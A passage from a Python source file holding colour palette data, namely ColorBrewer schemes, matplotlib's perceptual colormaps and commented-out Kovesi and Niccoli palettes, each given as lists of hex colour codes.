'GnBu':{'3':["e0f3db","a8ddb5","43a2ca"],'4':["f0f9e8","bae4bc","7bccc4","2b8cbe"],'5':["f0f9e8","bae4bc","7bccc4","43a2ca","0868ac"],'6':["f0f9e8","ccebc5","a8ddb5","7bccc4","43a2ca","0868ac"],'7':["f0f9e8","ccebc5","a8ddb5","7bccc4","4eb3d3","2b8cbe","08589e"],'8':["f7fcf0","e0f3db","ccebc5","a8ddb5","7bccc4","4eb3d3","2b8cbe","08589e"],'9':["f7fcf0","e0f3db","ccebc5","a8ddb5","7bccc4","4eb3d3","2b8cbe","0868ac","084081"]},
'BuGn':{'3':["e5f5f9","99d8c9","2ca25f"],'4':["edf8fb","b2e2e2","66c2a4","238b45"],'5':["edf8fb","b2e2e2","66c2a4","2ca25f","006d2c"],'6':["edf8fb","ccece6","99d8c9","66c2a4","2ca25f","006d2c"],'7':["edf8fb","ccece6","99d8c9","66c2a4","41ae76","238b45","005824"],'8':["f7fcfd","e5f5f9","ccece6","99d8c9","66c2a4","41ae76","238b45","005824"],'9':["f7fcfd","e5f5f9","ccece6","99d8c9","66c2a4","41ae76","238b45","006d2c","00441b"]},
'PuBuGn':{'3':["ece2f0","a6bddb","1c9099"],'4':["f6eff7","bdc9e1","67a9cf","02818a"],'5':["f6eff7","bdc9e1","67a9cf","1c9099","016c59"],'6':["f6eff7","d0d1e6","a6bddb","67a9cf","1c9099","016c59"],'7':["f6eff7","d0d1e6","a6bddb","67a9cf","3690c0","02818a","016450"],'8':["fff7fb","ece2f0","d0d1e6","a6bddb","67a9cf","3690c0","02818a","016450"],'9':["fff7fb","ece2f0","d0d1e6","a6bddb","67a9cf","3690c0","02818a","016c59","014636"]},
'PuBu':{'3':["ece7f2","a6bddb","2b8cbe"],'4':["f1eef6","bdc9e1","74a9cf","0570b0"],'5':["f1eef6","bdc9e1","74a9cf","2b8cbe","045a8d"],'6':["f1eef6","d0d1e6","a6bddb","74a9cf","2b8cbe","045a8d"],'7':["f1eef6","d0d1e6","a6bddb","74a9cf","3690c0","0570b0","034e7b"],'8':["fff7fb","ece7f2","d0d1e6","a6bddb","74a9cf","3690c0","0570b0","034e7b"],'9':["fff7fb","ece7f2","d0d1e6","a6bddb","74a9cf","3690c0","0570b0","045a8d","023858"]},
'BuPu':{'3':["e0ecf4","9ebcda","8856a7"],'4':["edf8fb","b3cde3","8c96c6","88419d"],'5':["edf8fb","b3cde3","8c96c6","8856a7","810f7c"],'6':["edf8fb","bfd3e6","9ebcda","8c96c6","8856a7","810f7c"],'7':["edf8fb","bfd3e6","9ebcda","8c96c6","8c6bb1","88419d","6e016b"],'8':["f7fcfd","e0ecf4","bfd3e6","9ebcda","8c96c6","8c6bb1","88419d","6e016b"],'9':["f7fcfd","e0ecf4","bfd3e6","9ebcda","8c96c6","8c6bb1","88419d","810f7c","4d004b"]},
'RdPu':{'3':["fde0dd","fa9fb5","c51b8a"],'4':["feebe2","fbb4b9","f768a1","ae017e"],'5':["feebe2","fbb4b9","f768a1","c51b8a","7a0177"],'6':["feebe2","fcc5c0","fa9fb5","f768a1","c51b8a","7a0177"],'7':["feebe2","fcc5c0","fa9fb5","f768a1","dd3497","ae017e","7a0177"],'8':["fff7f3","fde0dd","fcc5c0","fa9fb5","f768a1","dd3497","ae017e","7a0177"],'9':["fff7f3","fde0dd","fcc5c0","fa9fb5","f768a1","dd3497","ae017e","7a0177","49006a"]},
'PuRd':{'3':["e7e1ef","c994c7","dd1c77"],'4':["f1eef6","d7b5d8","df65b0","ce1256"],'5':["f1eef6","d7b5d8","df65b0","dd1c77","980043"],'6':["f1eef6","d4b9da","c994c7","df65b0","dd1c77","980043"],'7':["f1eef6","d4b9da","c994c7","df65b0","e7298a","ce1256","91003f"],'8':["f7f4f9","e7e1ef","d4b9da","c994c7","df65b0","e7298a","ce1256","91003f"],'9':["f7f4f9","e7e1ef","d4b9da","c994c7","df65b0","e7298a","ce1256","980043","67001f"]},
'OrRd':{'3':["fee8c8","fdbb84","e34a33"],'4':["fef0d9","fdcc8a","fc8d59","d7301f"],'5':["fef0d9","fdcc8a","fc8d59","e34a33","b30000"],'6':["fef0d9","fdd49e","fdbb84","fc8d59","e34a33","b30000"],'7':["fef0d9","fdd49e","fdbb84","fc8d59","ef6548","d7301f","990000"],'8':["fff7ec","fee8c8","fdd49e","fdbb84","fc8d59","ef6548","d7301f","990000"],'9':["fff7ec","fee8c8","fdd49e","fdbb84","fc8d59","ef6548","d7301f","b30000","7f0000"]},
'YlOrRd':{'3':["ffeda0","feb24c","f03b20"],'4':["ffffb2","fecc5c","fd8d3c","e31a1c"],'5':["ffffb2","fecc5c","fd8d3c","f03b20","bd0026"],'6':["ffffb2","fed976","feb24c","fd8d3c","f03b20","bd0026"],'7':["ffffb2","fed976","feb24c","fd8d3c","fc4e2a","e31a1c","b10026"],'8':["ffffcc","ffeda0","fed976","feb24c","fd8d3c","fc4e2a","e31a1c","b10026"],'9':["ffffcc","ffeda0","fed976","feb24c","fd8d3c","fc4e2a","e31a1c","bd0026","800026"]},
'YlOrBr':{'3':["fff7bc","fec44f","d95f0e"],'4':["ffffd4","fed98e","fe9929","cc4c02"],'5':["ffffd4","fed98e","fe9929","d95f0e","993404"],'6':["ffffd4","fee391","fec44f","fe9929","d95f0e","993404"],'7':["ffffd4","fee391","fec44f","fe9929","ec7014","cc4c02","8c2d04"],'8':["ffffe5","fff7bc","fee391","fec44f","fe9929","ec7014","cc4c02","8c2d04"],'9':["ffffe5","fff7bc","fee391","fec44f","fe9929","ec7014","cc4c02","993404","662506"]},
'Purples':{'3':["efedf5","bcbddc","756bb1"],'4':["f2f0f7","cbc9e2","9e9ac8","6a51a3"],'5':["f2f0f7","cbc9e2","9e9ac8","756bb1","54278f"],'6':["f2f0f7","dadaeb","bcbddc","9e9ac8","756bb1","54278f"],'7':["f2f0f7","dadaeb","bcbddc","9e9ac8","807dba","6a51a3","4a1486"],'8':["fcfbfd","efedf5","dadaeb","bcbddc","9e9ac8","807dba","6a51a3","4a1486"],'9':["fcfbfd","efedf5","dadaeb","bcbddc","9e9ac8","807dba","6a51a3","54278f","3f007d"]},
'Blues':{'3':["deebf7","9ecae1","3182bd"],'4':["eff3ff","bdd7e7","6baed6","2171b5"],'5':["eff3ff","bdd7e7","6baed6","3182bd","08519c"],'6':["eff3ff","c6dbef","9ecae1","6baed6","3182bd","08519c"],'7':["eff3ff","c6dbef","9ecae1","6baed6","4292c6","2171b5","084594"],'8':["f7fbff","deebf7","c6dbef","9ecae1","6baed6","4292c6","2171b5","084594"],'9':["f7fbff","deebf7","c6dbef","9ecae1","6baed6","4292c6","2171b5","08519c","08306b"]},
'Greens':{'3':["e5f5e0","a1d99b","31a354"],'4':["edf8e9","bae4b3","74c476","238b45"],'5':["edf8e9","bae4b3","74c476","31a354","006d2c"],'6':["edf8e9","c7e9c0","a1d99b","74c476","31a354","006d2c"],'7':["edf8e9","c7e9c0","a1d99b","74c476","41ab5d","238b45","005a32"],'8':["f7fcf5","e5f5e0","c7e9c0","a1d99b","74c476","41ab5d","238b45","005a32"],'9':["f7fcf5","e5f5e0","c7e9c0","a1d99b","74c476","41ab5d","238b45","006d2c","00441b"]},
'Oranges':{'3':["fee6ce","fdae6b","e6550d"],'4':["feedde","fdbe85","fd8d3c","d94701"],'5':["feedde","fdbe85","fd8d3c","e6550d","a63603"],'6':["feedde","fdd0a2","fdae6b","fd8d3c","e6550d","a63603"],'7':["feedde","fdd0a2","fdae6b","fd8d3c","f16913","d94801","8c2d04"],'8':["fff5eb","fee6ce","fdd0a2","fdae6b","fd8d3c","f16913","d94801","8c2d04"],'9':["fff5eb","fee6ce","fdd0a2","fdae6b","fd8d3c","f16913","d94801","a63603","7f2704"]},
'Reds':{'3':["fee0d2","fc9272","de2d26"],'4':["fee5d9","fcae91","fb6a4a","cb181d"],'5':["fee5d9","fcae91","fb6a4a","de2d26","a50f15"],'6':["fee5d9","fcbba1","fc9272","fb6a4a","de2d26","a50f15"],'7':["fee5d9","fcbba1","fc9272","fb6a4a","ef3b2c","cb181d","99000d"],'8':["fff5f0","fee0d2","fcbba1","fc9272","fb6a4a","ef3b2c","cb181d","99000d"],'9':["fff5f0","fee0d2","fcbba1","fc9272","fb6a4a","ef3b2c","cb181d","a50f15","67000d"]},
'Greys':{'3':["f0f0f0","bdbdbd","636363"],'4':["f7f7f7","cccccc","969696","525252"],'5':["f7f7f7","cccccc","969696","636363","252525"],'6':["f7f7f7","d9d9d9","bdbdbd","969696","636363","252525"],'7':["f7f7f7","d9d9d9","bdbdbd","969696","737373","525252","252525"],'8':["ffffff","f0f0f0","d9d9d9","bdbdbd","969696","737373","525252","252525"],'9':["ffffff","f0f0f0","d9d9d9","bdbdbd","969696","737373","525252","252525","000000"]},
'PuOr':{'3':["f1a340","f7f7f7","998ec3"],'4':["e66101","fdb863","b2abd2","5e3c99"],'5':["e66101","fdb863","f7f7f7","b2abd2","5e3c99"],'6':["b35806","f1a340","fee0b6","d8daeb","998ec3","542788"],'7':["b35806","f1a340","fee0b6","f7f7f7","d8daeb","998ec3","542788"],'8':["b35806","e08214","fdb863","fee0b6","d8daeb","b2abd2","8073ac","542788"],'9':["b35806","e08214","fdb863","fee0b6","f7f7f7","d8daeb","b2abd2","8073ac","542788"],'10':["7f3b08","b35806","e08214","fdb863","fee0b6","d8daeb","b2abd2","8073ac","542788","2d004b"],'11':["7f3b08","b35806","e08214","fdb863","fee0b6","f7f7f7","d8daeb","b2abd2","8073ac","542788","2d004b"]},
'BrBG':{'3':["d8b365","f5f5f5","5ab4ac"],'4':["a6611a","dfc27d","80cdc1","018571"],'5':["a6611a","dfc27d","f5f5f5","80cdc1","018571"],'6':["8c510a","d8b365","f6e8c3","c7eae5","5ab4ac","01665e"],'7':["8c510a","d8b365","f6e8c3","f5f5f5","c7eae5","5ab4ac","01665e"],'8':["8c510a","bf812d","dfc27d","f6e8c3","c7eae5","80cdc1","35978f","01665e"],'9':["8c510a","bf812d","dfc27d","f6e8c3","f5f5f5","c7eae5","80cdc1","35978f","01665e"],'10':["543005","8c510a","bf812d","dfc27d","f6e8c3","c7eae5","80cdc1","35978f","01665e","003c30"],'11':["543005","8c510a","bf812d","dfc27d","f6e8c3","f5f5f5","c7eae5","80cdc1","35978f","01665e","003c30"]},
'PRGn':{'3':["af8dc3","f7f7f7","7fbf7b"],'4':["7b3294","c2a5cf","a6dba0","008837"],'5':["7b3294","c2a5cf","f7f7f7","a6dba0","008837"],'6':["762a83","af8dc3","e7d4e8","d9f0d3","7fbf7b","1b7837"],'7':["762a83","af8dc3","e7d4e8","f7f7f7","d9f0d3","7fbf7b","1b7837"],'8':["762a83","9970ab","c2a5cf","e7d4e8","d9f0d3","a6dba0","5aae61","1b7837"],'9':["762a83","9970ab","c2a5cf","e7d4e8","f7f7f7","d9f0d3","a6dba0","5aae61","1b7837"],'10':["40004b","762a83","9970ab","c2a5cf","e7d4e8","d9f0d3","a6dba0","5aae61","1b7837","00441b"],'11':["40004b","762a83","9970ab","c2a5cf","e7d4e8","f7f7f7","d9f0d3","a6dba0","5aae61","1b7837","00441b"]},
'PiYG':{'3':["e9a3c9","f7f7f7","a1d76a"],'4':["d01c8b","f1b6da","b8e186","4dac26"],'5':["d01c8b","f1b6da","f7f7f7","b8e186","4dac26"],'6':["c51b7d","e9a3c9","fde0ef","e6f5d0","a1d76a","4d9221"],'7':["c51b7d","e9a3c9","fde0ef","f7f7f7","e6f5d0","a1d76a","4d9221"],'8':["c51b7d","de77ae","f1b6da","fde0ef","e6f5d0","b8e186","7fbc41","4d9221"],'9':["c51b7d","de77ae","f1b6da","fde0ef","f7f7f7","e6f5d0","b8e186","7fbc41","4d9221"],'10':["8e0152","c51b7d","de77ae","f1b6da","fde0ef","e6f5d0","b8e186","7fbc41","4d9221","276419"],'11':["8e0152","c51b7d","de77ae","f1b6da","fde0ef","f7f7f7","e6f5d0","b8e186","7fbc41","4d9221","276419"]},
'RdBu':{'3':["ef8a62","f7f7f7","67a9cf"],'4':["ca0020","f4a582","92c5de","0571b0"],'5':["ca0020","f4a582","f7f7f7","92c5de","0571b0"],'6':["b2182b","ef8a62","fddbc7","d1e5f0","67a9cf","2166ac"],'7':["b2182b","ef8a62","fddbc7","f7f7f7","d1e5f0","67a9cf","2166ac"],'8':["b2182b","d6604d","f4a582","fddbc7","d1e5f0","92c5de","4393c3","2166ac"],'9':["b2182b","d6604d","f4a582","fddbc7","f7f7f7","d1e5f0","92c5de","4393c3","2166ac"],'10':["67001f","b2182b","d6604d","f4a582","fddbc7","d1e5f0","92c5de","4393c3","2166ac","053061"],'11':["67001f","b2182b","d6604d","f4a582","fddbc7","f7f7f7","d1e5f0","92c5de","4393c3","2166ac","053061"]},
'RdGy':{'3':["ef8a62","ffffff","999999"],'4':["ca0020","f4a582","bababa","404040"],'5':["ca0020","f4a582","ffffff","bababa","404040"],'6':["b2182b","ef8a62","fddbc7","e0e0e0","999999","4d4d4d"],'7':["b2182b","ef8a62","fddbc7","ffffff","e0e0e0","999999","4d4d4d"],'8':["b2182b","d6604d","f4a582","fddbc7","e0e0e0","bababa","878787","4d4d4d"],'9':["b2182b","d6604d","f4a582","fddbc7","ffffff","e0e0e0","bababa","878787","4d4d4d"],'10':["67001f","b2182b","d6604d","f4a582","fddbc7","e0e0e0","bababa","878787","4d4d4d","1a1a1a"],'11':["67001f","b2182b","d6604d","f4a582","fddbc7","ffffff","e0e0e0","bababa","878787","4d4d4d","1a1a1a"]},
'RdYlBu':{'3':["fc8d59","ffffbf","91bfdb"],'4':["d7191c","fdae61","abd9e9","2c7bb6"],'5':["d7191c","fdae61","ffffbf","abd9e9","2c7bb6"],'6':["d73027","fc8d59","fee090","e0f3f8","91bfdb","4575b4"],'7':["d73027","fc8d59","fee090","ffffbf","e0f3f8","91bfdb","4575b4"],'8':["d73027","f46d43","fdae61","fee090","e0f3f8","abd9e9","74add1","4575b4"],'9':["d73027","f46d43","fdae61","fee090","ffffbf","e0f3f8","abd9e9","74add1","4575b4"],'10':["a50026","d73027","f46d43","fdae61","fee090","e0f3f8","abd9e9","74add1","4575b4","313695"],'11':["a50026","d73027","f46d43","fdae61","fee090","ffffbf","e0f3f8","abd9e9","74add1","4575b4","313695"]},
'Spectral':{'3':["fc8d59","ffffbf","99d594"],'4':["d7191c","fdae61","abdda4","2b83ba"],'5':["d7191c","fdae61","ffffbf","abdda4","2b83ba"],'6':["d53e4f","fc8d59","fee08b","e6f598","99d594","3288bd"],'7':["d53e4f","fc8d59","fee08b","ffffbf","e6f598","99d594","3288bd"],'8':["d53e4f","f46d43","fdae61","fee08b","e6f598","abdda4","66c2a5","3288bd"],'9':["d53e4f","f46d43","fdae61","fee08b","ffffbf","e6f598","abdda4","66c2a5","3288bd"],'10':["9e0142","d53e4f","f46d43","fdae61","fee08b","e6f598","abdda4","66c2a5","3288bd","5e4fa2"],'11':["9e0142","d53e4f","f46d43","fdae61","fee08b","ffffbf","e6f598","abdda4","66c2a5","3288bd","5e4fa2"]},
'RdYlGn':{'3':["fc8d59","ffffbf","91cf60"],'4':["d7191c","fdae61","a6d96a","1a9641"],'5':["d7191c","fdae61","ffffbf","a6d96a","1a9641"],'6':["d73027","fc8d59","fee08b","d9ef8b","91cf60","1a9850"],'7':["d73027","fc8d59","fee08b","ffffbf","d9ef8b","91cf60","1a9850"],'8':["d73027","f46d43","fdae61","fee08b","d9ef8b","a6d96a","66bd63","1a9850"],'9':["d73027","f46d43","fdae61","fee08b","ffffbf","d9ef8b","a6d96a","66bd63","1a9850"],'10':["a50026","d73027","f46d43","fdae61","fee08b","d9ef8b","a6d96a","66bd63","1a9850","006837"],'11':["a50026","d73027","f46d43","fdae61","fee08b","ffffbf","d9ef8b","a6d96a","66bd63","1a9850","006837"]},
'Accent':{'3':["7fc97f","beaed4","fdc086"],'4':["7fc97f","beaed4","fdc086","ffff99"],'5':["7fc97f","beaed4","fdc086","ffff99","386cb0"],'6':["7fc97f","beaed4","fdc086","ffff99","386cb0","f0027f"],'7':["7fc97f","beaed4","fdc086","ffff99","386cb0","f0027f","bf5b17"],'8':["7fc97f","beaed4","fdc086","ffff99","386cb0","f0027f","bf5b17","666666"]},
'Dark2':{'3':["1b9e77","d95f02","7570b3"],'4':["1b9e77","d95f02","7570b3","e7298a"],'5':["1b9e77","d95f02","7570b3","e7298a","66a61e"],'6':["1b9e77","d95f02","7570b3","e7298a","66a61e","e6ab02"],'7':["1b9e77","d95f02","7570b3","e7298a","66a61e","e6ab02","a6761d"],'8':["1b9e77","d95f02","7570b3","e7298a","66a61e","e6ab02","a6761d","666666"]},
'Pastel1':{'3':["fbb4ae","b3cde3","ccebc5"],'4':["fbb4ae","b3cde3","ccebc5","decbe4"],'5':["fbb4ae","b3cde3","ccebc5","decbe4","fed9a6"],'6':["fbb4ae","b3cde3","ccebc5","decbe4","fed9a6","ffffcc"],'7':["fbb4ae","b3cde3","ccebc5","decbe4","fed9a6","ffffcc","e5d8bd"],'8':["fbb4ae","b3cde3","ccebc5","decbe4","fed9a6","ffffcc","e5d8bd","fddaec"],'9':["fbb4ae","b3cde3","ccebc5","decbe4","fed9a6","ffffcc","e5d8bd","fddaec","f2f2f2"]},
'Pastel2':{'3':["b3e2cd","fdcdac","cbd5e8"],'4':["b3e2cd","fdcdac","cbd5e8","f4cae4"],'5':["b3e2cd","fdcdac","cbd5e8","f4cae4","e6f5c9"],'6':["b3e2cd","fdcdac","cbd5e8","f4cae4","e6f5c9","fff2ae"],'7':["b3e2cd","fdcdac","cbd5e8","f4cae4","e6f5c9","fff2ae","f1e2cc"],'8':["b3e2cd","fdcdac","cbd5e8","f4cae4","e6f5c9","fff2ae","f1e2cc","cccccc"]},
'Paired':{'3':["a6cee3","1f78b4","b2df8a"],'4':["a6cee3","1f78b4","b2df8a","33a02c"],'5':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99"],'6':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c"],'7':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c","fdbf6f"],'8':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c","fdbf6f","ff7f00"],'9':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c","fdbf6f","ff7f00","cab2d6"],'10':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c","fdbf6f","ff7f00","cab2d6","6a3d9a"],'11':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c","fdbf6f","ff7f00","cab2d6","6a3d9a","ffff99"],'12':["a6cee3","1f78b4","b2df8a","33a02c","fb9a99","e31a1c","fdbf6f","ff7f00","cab2d6","6a3d9a","ffff99","b15928"]},
'Set1':{'3':["e41a1c","377eb8","4daf4a"],'4':["e41a1c","377eb8","4daf4a","984ea3"],'5':["e41a1c","377eb8","4daf4a","984ea3","ff7f00"],'6':["e41a1c","377eb8","4daf4a","984ea3","ff7f00","ffff33"],'7':["e41a1c","377eb8","4daf4a","984ea3","ff7f00","ffff33","a65628"],'8':["e41a1c","377eb8","4daf4a","984ea3","ff7f00","ffff33","a65628","f781bf"],'9':["e41a1c","377eb8","4daf4a","984ea3","ff7f00","ffff33","a65628","f781bf","999999"]},
'Set2':{'3':["66c2a5","fc8d62","8da0cb"],'4':["66c2a5","fc8d62","8da0cb","e78ac3"],'5':["66c2a5","fc8d62","8da0cb","e78ac3","a6d854"],'6':["66c2a5","fc8d62","8da0cb","e78ac3","a6d854","ffd92f"],'7':["66c2a5","fc8d62","8da0cb","e78ac3","a6d854","ffd92f","e5c494"],'8':["66c2a5","fc8d62","8da0cb","e78ac3","a6d854","ffd92f","e5c494","b3b3b3"]},
'Set3':{'3':["8dd3c7","ffffb3","bebada"],'4':["8dd3c7","ffffb3","bebada","fb8072"],'5':["8dd3c7","ffffb3","bebada","fb8072","80b1d3"],'6':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462"],'7':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462","b3de69"],'8':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462","b3de69","fccde5"],'9':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462","b3de69","fccde5","d9d9d9"],'10':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462","b3de69","fccde5","d9d9d9","bc80bd"],'11':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462","b3de69","fccde5","d9d9d9","bc80bd","ccebc5"],'12':["8dd3c7","ffffb3","bebada","fb8072","80b1d3","fdb462","b3de69","fccde5","d9d9d9","bc80bd","ccebc5","ffed6f"]},
}
cb = colorbrewer
# exports.misc = {
# coolwarm: {7:['#3B4CC0', '#6F91F2', '#A9C5FC', '#DDDDDD', '#F6B69B', '#E6745B', '#B40426']},
# warmcool: {7:['#B40426', '#E6745B', '#F6B69B', '#DDDDDD', '#A9C5FC', '#6F91F2', '#3B4CC0']},
# cubehelix: {7:['#000000', '#182E49', '#2B6F39', '#A07949', '#D490C6', '#C2D8F3', '#FFFFFF']},
# gnuplot: {7:['#000033', '#0000CC', '#5000FF', '#C729D6', '#FF758A', '#FFC23D', '#FFFF60']},
# jet: {7:['#00007F', '#002AFF', '#00D4FF', '#7FFF7F', '#FFD400', '#FF2A00', '#7F0000']},
# parula: {7:['#352A87', '#056EDE', '#089BCE', '#33B7A0', '#A3BD6A', '#F9BD3F', '#F9FB0E']},
# tol_rainbow: {7:['#781C81', '#3F60AE', '#539EB6', '#6DB388', '#CAB843', '#E78532', '#D92120']},
# cividis: {7:['#00204C', '#213D6B', '#555B6C', '#7B7A77', '#A59C74', '#D3C064', '#FFE945']}
# }
# exports.niccoli = {
# cubicyf: {7:['#830CAB', '#7556F3', '#5590E7', '#3BBCAC', '#52D965', '#86EA50', '#CCEC5A']},
# cubicl: {7:['#780085', '#7651EE', '#4C9ED9', '#49CF7F', '#85EB50', '#D4E35B', '#F9965B']},
# isol: {7:['#E839E5', '#7C58FA', '#2984B9', '#0A9A4D', '#349704', '#9E7C09', '#FF3A2A']},
# linearl: {7:['#040404', '#2C1C5D', '#114E81', '#00834B', '#37B200', '#C4CA39', '#F7ECE5']},
# linearlhot: {7:['#060303', '#620100', '#B20022', '#DE2007', '#D78E00', '#C9CE00', '#F2F2B7']}
# }
matplotlib = {
'magma': {'7':['#000004', '#2C105C', '#711F81', '#B63679', '#EE605E', '#FDAE78', '#FCFDBF']},
'inferno': {'7':['#000004', '#320A5A', '#781B6C', '#BB3654', '#EC6824', '#FBB41A', '#FCFFA4']},
'plasma': {'7':['#0D0887', '#5B02A3', '#9A179B', '#CB4678', '#EB7852', '#FBB32F', '#F0F921']},
'viridis': {'7':['#440154', '#433982', '#30678D', '#218F8B', '#36B677', '#8ED542', '#FDE725']}
}
# exports.kovesi = {
# cyclic_grey_15_85_c0: {7:['#787878', '#B0B0B0', '#B0B0B0', '#767676', '#414141', '#424242', '#767676']},
# cyclic_grey_15_85_c0_s25: {7:['#2D2D2D', '#5B5B5B', '#949494', '#CACACA', '#949494', '#5A5A5A', '#2D2D2D']},
# cyclic_mrybm_35_75_c68: {7:['#F985F8', '#D82D5F', '#C14E04', '#D0AA25', '#2C76B1', '#7556F9', '#F785F9']},
# cyclic_mrybm_35_75_c68_s25: {7:['#3E3FF0', '#B976FC', '#F55CB1', '#B71C18', '#D28004', '#8E9871', '#3C40EE']},
# cyclic_mygbm_30_95_c78: {7:['#EF55F2', '#FCC882', '#B8E014', '#32AD26', '#2F5DB9', '#712AF7', '#ED53F3']},
# cyclic_mygbm_30_95_c78_s25: {7:['#2E22EA', '#B341FB', '#FC93C0', '#F1ED37', '#77C80D', '#458873', '#2C24E9']},
# cyclic_wrwbw_40_90_c42: {7:['#DFD5D8', '#D9694D', '#D86449', '#DDD1D6', '#6C81E5', '#6F83E5', '#DDD5DA']},
# cyclic_wrwbw_40_90_c42_s25: {7:['#1A63E5', '#B0B2E4', '#E4A695', '#C93117', '#E3A18F', '#ADB0E4', '#1963E5']},
# diverging_isoluminant_cjm_75_c23: {7:['#00C9FF', '#69C3E8', '#98BED0', '#B8B8BB', '#CBB1C6', '#DCA8D5', '#ED9EE4']},
# diverging_isoluminant_cjm_75_c24: {7:['#00CBFE', '#62C5E7', '#96BFD0', '#B8B8BB', '#CCB1C8', '#DEA7D6', '#F09DE6']},
# diverging_isoluminant_cjo_70_c25: {7:['#00B6FF', '#67B2E4', '#8FAFC7', '#ABABAB', '#C7A396', '#E09A81', '#F6906D']},
# diverging_linear_bjr_30_55_c53: {7:['#002AD7', '#483FB0', '#5E528A', '#646464', '#A15C49', '#D44A2C', '#FF1900']},
# diverging_linear_bjy_30_90_c45: {7:['#1431C1', '#5A50B2', '#796FA2', '#938F8F', '#B8AB74', '#DAC652', '#FDE409']},
# diverging_rainbow_bgymr_45_85_c67: {7:['#085CF8', '#3C9E49', '#98BB18', '#F3CC1D', '#FE8F7B', '#F64497', '#D70500']},
# diverging_bkr_55_10_c35: {7:['#1981FA', '#315CA9', '#2D3B5E', '#221F21', '#5C2F28', '#9E4035', '#E65041']},
# diverging_bky_60_10_c30: {7:['#0E94FA', '#2F68A9', '#2D405E', '#212020', '#4C3E20', '#7D6321', '#B38B1A']},
# diverging_bwr_40_95_c42: {7:['#2151DB', '#8182E3', '#BCB7EB', '#EBE2E6', '#EEAD9D', '#DC6951', '#C00206']},
# diverging_bwr_55_98_c37: {7:['#2480FF', '#88A4FD', '#C4CDFC', '#F8F6F7', '#FDC1B3', '#F58B73', '#E65037']},
# diverging_cwm_80_100_c22: {7:['#00D9FF', '#89E6FF', '#C9F2FF', '#FEFFFF', '#FEE3FA', '#FCC9F5', '#FAAEF0']},
# diverging_gkr_60_10_c40: {7:['#36A616', '#347420', '#2B4621', '#22201D', '#633226', '#AC462F', '#FD5838']},
# diverging_gwr_55_95_c38: {7:['#39970E', '#7DB461', '#B7D2A7', '#EDEAE6', '#F9BAB2', '#F78579', '#ED4744']},
# diverging_gwv_55_95_c39: {7:['#39970E', '#7DB461', '#B7D2A7', '#EBEBEA', '#E0BEED', '#CD8DE9', '#B859E4']},
# isoluminant_cgo_70_c39: {7:['#37B7EC', '#4DBAC6', '#63BB9E', '#86B876', '#B3AE60', '#D8A05F', '#F6906D']},
# isoluminant_cgo_80_c38: {7:['#70D1FF', '#74D4E0', '#80D6BA', '#9BD594', '#C4CC7D', '#EABF77', '#FFB281']},
# isoluminant_cm_70_c39: {7:['#14BAE6', '#5DB2EA', '#8CAAEB', '#B0A1E3', '#CF98D3', '#E98FC1', '#FE85AD']},
# rainbow_bgyr_35_85_c72: {7:['#0034F5', '#1E7D83', '#4DA910', '#B3C120', '#FCC228', '#FF8410', '#FD3000']},
# rainbow_bgyr_35_85_c73: {7:['#0035F9', '#1E7D83', '#4DA910', '#B3C01A', '#FDC120', '#FF8303', '#FF2A00']},
# rainbow_bgyrm_35_85_c69: {7:['#0030F5', '#36886A', '#82B513', '#EDC823', '#F68E19', '#F45A44', '#FD92FA']},
# rainbow_bgyrm_35_85_c71: {7:['#0035F9', '#34886A', '#80B412', '#F1CA24', '#FD8814', '#FE4E41', '#FD92FA']},
# linear_bgy_10_95_c74: {7:['#000C7D', '#002CB9', '#005EA3', '#198E61', '#32BA1A', '#70E21A', '#FFF123']},
# linear_bgyw_15_100_c67: {7:['#1B0084', '#1D26C7', '#2E68AB', '#4C9A41', '#95BE16', '#E1DB41', '#FFFFFF']},
# linear_bgyw_15_100_c68: {7:['#1A0086', '#1B27C8', '#2469AD', '#4B9B41', '#95BE16', '#E1DB41', '#FFFFFF']},
# linear_blue_5_95_c73: {7:['#00014E', '#0E02A8', '#2429F4', '#2D6CFD', '#36A3FD', '#2CD8FA', '#B3FFF6']},
# linear_blue_95_50_c20: {7:['#F1F1F1', '#D0DCEC', '#B1C8E6', '#93B5DC', '#7BA1CA', '#5E8EBC', '#3B7CB2']},
# linear_bmw_5_95_c86: {7:['#00024B', '#0708A6', '#451AF4', '#B621FE', '#F957FE', '#FEA8FD', '#FEEBFE']},
# linear_bmw_5_95_c89: {7:['#000558', '#0014BF', '#251EFA', '#B71EFF', '#F655FF', '#FFA6FF', '#FEEBFE']},
# linear_bmy_10_95_c71: {7:['#000F5D', '#48188F', '#A60B8A', '#E4336F', '#F97E4A', '#FCBE39', '#F5F94E']},
# linear_bmy_10_95_c78: {7:['#000C7D', '#3013A7', '#A7018B', '#EE1774', '#FF7051', '#FFB722', '#FFF123']},
# linear_gow_60_85_c27: {7:['#669B90', '#87A37D', '#B4A671', '#D4AC6A', '#D8B97A', '#D7C6A6', '#D4D4D4']},
# linear_gow_65_90_c35: {7:['#70AD5C', '#A3B061', '#CCB267', '#E6B86D', '#E7C786', '#E5D5B3', '#E2E2E2']},
# linear_green_5_95_c69: {7:['#011506', '#093805', '#146007', '#1F890B', '#2AB610', '#35E415', '#D8FF15']},
# linear_grey_0_100_c0: {7:['#000000', '#272727', '#4E4E4E', '#777777', '#A2A2A2', '#CFCFCF', '#FFFFFF']},
# linear_grey_10_95_c0: {7:['#1B1B1B', '#393939', '#5A5A5A', '#7D7D7D', '#A2A2A2', '#C9C9C9', '#F1F1F1']},
# linear_kry_5_95_c72: {7:['#111111', '#660304', '#A80502', '#E72205', '#FE7310', '#F4BE26', '#F7F909']},
# linear_kry_5_98_c75: {7:['#111111', '#6B0004', '#AF0000', '#F50C00', '#FF7705', '#FFBF13', '#FFFE1C']},
# linear_kryw_5_100_c64: {7:['#111111', '#6A0303', '#B00703', '#F02C06', '#FE8714', '#F3CE4C', '#FFFFFF']},
